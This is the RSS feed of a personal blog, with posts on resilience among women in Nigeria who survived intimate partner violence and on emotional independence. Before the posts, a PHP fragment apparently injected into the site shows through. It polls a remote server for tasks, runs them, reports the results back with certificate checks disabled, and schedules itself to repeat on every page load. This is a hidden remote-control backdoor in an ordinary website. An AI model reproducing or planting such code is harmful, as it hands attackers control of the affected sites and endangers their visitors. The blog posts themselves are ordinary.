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update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); resilience – Tobioloyede https://tobioloyede.com Delving into daily life issues to foster change Thu, 29 Dec 2022 10:05:55 +0000 en-US hourly 1 https://wordpress.org/?v=7.1 https://tobioloyede.com/wp-content/uploads/2022/12/cropped-Beige-Elegant-Personal-Business-Card-2-32x32.png resilience – Tobioloyede https://tobioloyede.com 32 32 Victim or Survivor https://tobioloyede.com/victim-or-survivor/ https://tobioloyede.com/victim-or-survivor/#respond Mon, 11 Apr 2022 04:00:00 +0000 https://tobioloyedesblog.wordpress.com/?p=515 Before we dig in, are you a victim or survivor, or do you know anyone who might fall into one of the categories? I did a thing in 2020, I studied the resilience of some women in Southwest Nigeria who were survivors of Intimate Partner Violence/Domestic Violence. I say survivors because they moved from being victims to survivors and they preferred to be referred to as Survivors. Note, I am not suggesting that males do not experience abuse in the homes, workplaces, or in relationships, my focus at the time was on married women. One important question you might want to ask me is “why women or is it because you’re a woman? But you’re not even married.

To answer the question of Why?

Experiences and preconceptions shape us into the people we are now as I have found in my journey. Wendy Sharer states, “I can encourage new scholars to find topics via their lived experiences because those experiences help us to recognize what is significant, even if we are not able to articulate a rational, ‘neutral’ reason for that significance.” Growing up was not or does not only remain traumatic for me, but it also drives my interest in social research on family and relationships among others. My interest draws, not only from lived experiences, but also from general intellectual interests. I hope you understand my justification.

I know what most researchers might basically focus on is the effect the abuse has on individuals, but I took a step forward to investigate how they cope despite the stress they undergo in their relationships. It is noteworthy that the phenomenon of domestic violence goes beyond a private family issue to a critical social and psychological one.

At the time of the research, most of my participants had left the abusive marriages and had either moved on to another marriage, done better with their lives/careers, or remained single parents. Unfortunately, the dents that the abuse had on them remained for some even if it was not strong.  They spoke about their experiences, it was traumatizing for me as a listener/researcher and retraumatizing for them as they share their stories. There were times we had to stop the interview for some participants so they could cry, yes let it out by crying.

Why am I writing all these? I am writing because when I hear stories of such abuse, I am pained, I am touched, and I always wished I could do more. Our upbringing as individuals, our decisions as individuals, our training as parents, our pieces of advice as friends, our government, our culture, our leaders (Church, Mosque, anywhere), our social constructs on family matters, relationships, parenthood, and so on play a significant role in what we see in our society today. For some people, a few of these combinations affect them, while for others all of these affect them.

I have heard “I stayed, or I am staying because of my children,” my dear if you die, the children will still live, and you would not want them going through life trying to live without you. If you are worried about what society will say, no doubt they will talk, but it will be temporal.

My take on what the victim might do

  • Believe in yourself because the abuser always wants you to feel unworthy or small about yourself.
  • Seek voices of encouragement-speak up, seek help
  • Set a boundary line- it won’t be easy trust me (boundaries are not an easy thing for some of us). You just might need to cut the abuser off to live your life.

For those who are not victims

  • Listen-I say this emphatically, listen to them, take them seriously
  • Act with wisdom
  • Be honest-not criticize
  • In all, respect their boundaries

I say my take because it is my suggestion, my opinion.

Here’s a link to My Research on IPV to read my previous research. It’s a long read but you can use the table of content to go to chapters you find interesting.

“It is not the bruises on the body that hurt. It is the wounds of the heart and the scars on the mind.”

— Aisha Mirza
]]> https://tobioloyede.com/victim-or-survivor/feed/ 0 Emotional Independence https://tobioloyede.com/emotional-independence/ https://tobioloyede.com/emotional-independence/#comments Tue, 11 May 2021 04:45:16 +0000 https://tobioloyedesblog.wordpress.com/?p=421 Take charge of your life, it starts from within you.

It is much easy for us to make changes to things that we see physically like our weight, shape, hair, face, among others, than to those things we feel or basically cannot touch. You might want to criticize that position, but we always have options to change things we see physically or things outside of us. Predominantly, when we think about change, it never comes naturally to think about starting from within, rather, we think about things around us/environment. We mostly hold the position that until things around us become different, only then can we feel better.

Without mincing words, that is the very perspective that debars us from taking the necessary steps or even making the needed changes to living a happy life. As opposed to blaming the world/environment around us, we can take actions by asking ourselves the pertinent questions; “Why do I keep doing the things I do?” “In what ways are my actions, thoughts, inactions perpetuating my life?” “How am I contributing to the world around me?” “Why do I keep doing the same things that leave me unhappy?”

I have come to the conclusion that life will continue to serve you similar situations until you retrospect and do something different from within.  I know you are wondering what exactly it is I want to address regarding emotional independence. By emotional independence, I mean the ability to control your life as well as your stress levels under harsh or adverse circumstances.

Emotional independence is being able to live your life without constantly getting pushed and pulled by your feelings. It is a mental state where you are no longer a slave to your emotions, but instead know how to accept and manage them in a healthy and constructive way.

Changing unamiable behaviors and perceptions and accepting ourselves enable us to find the needed strength to create that inner calm that we require. Emotional independence, therefore, can be referred to as the RESILIENCE that sprouts from within to face whatever situation or circumstance. It is building your sense of self without having to depend on others’ perception of you, who you should be, what you should do, and how you should be it or do it. (This is important because as individuals we mostly think about how others should be and not them being who they are. For instance, a child that keeps complaining of a father who never treats him/her rightly. How about you think that the father is a being on his own and the best he can be is what he is. Note, I am not applauding irresponsibility, but emphasizing letting people just be themselves)

I know that talk is cheap, it is easier said, easier read, easier written than done, but intentional practice goes a long way. Change is constant, yet it is a hectic step to take. How do I become emotionally independent (a few steps, you can add yours as you go)

Practice mindfulness (Pay attention to things)

Take responsibility for your self (Stop blaming others)

Understand your values and goals

Know that your choices make up who you are

Be intentional about knowing yourself through every form of relationship (Family, romantic relationships, friendships and all).

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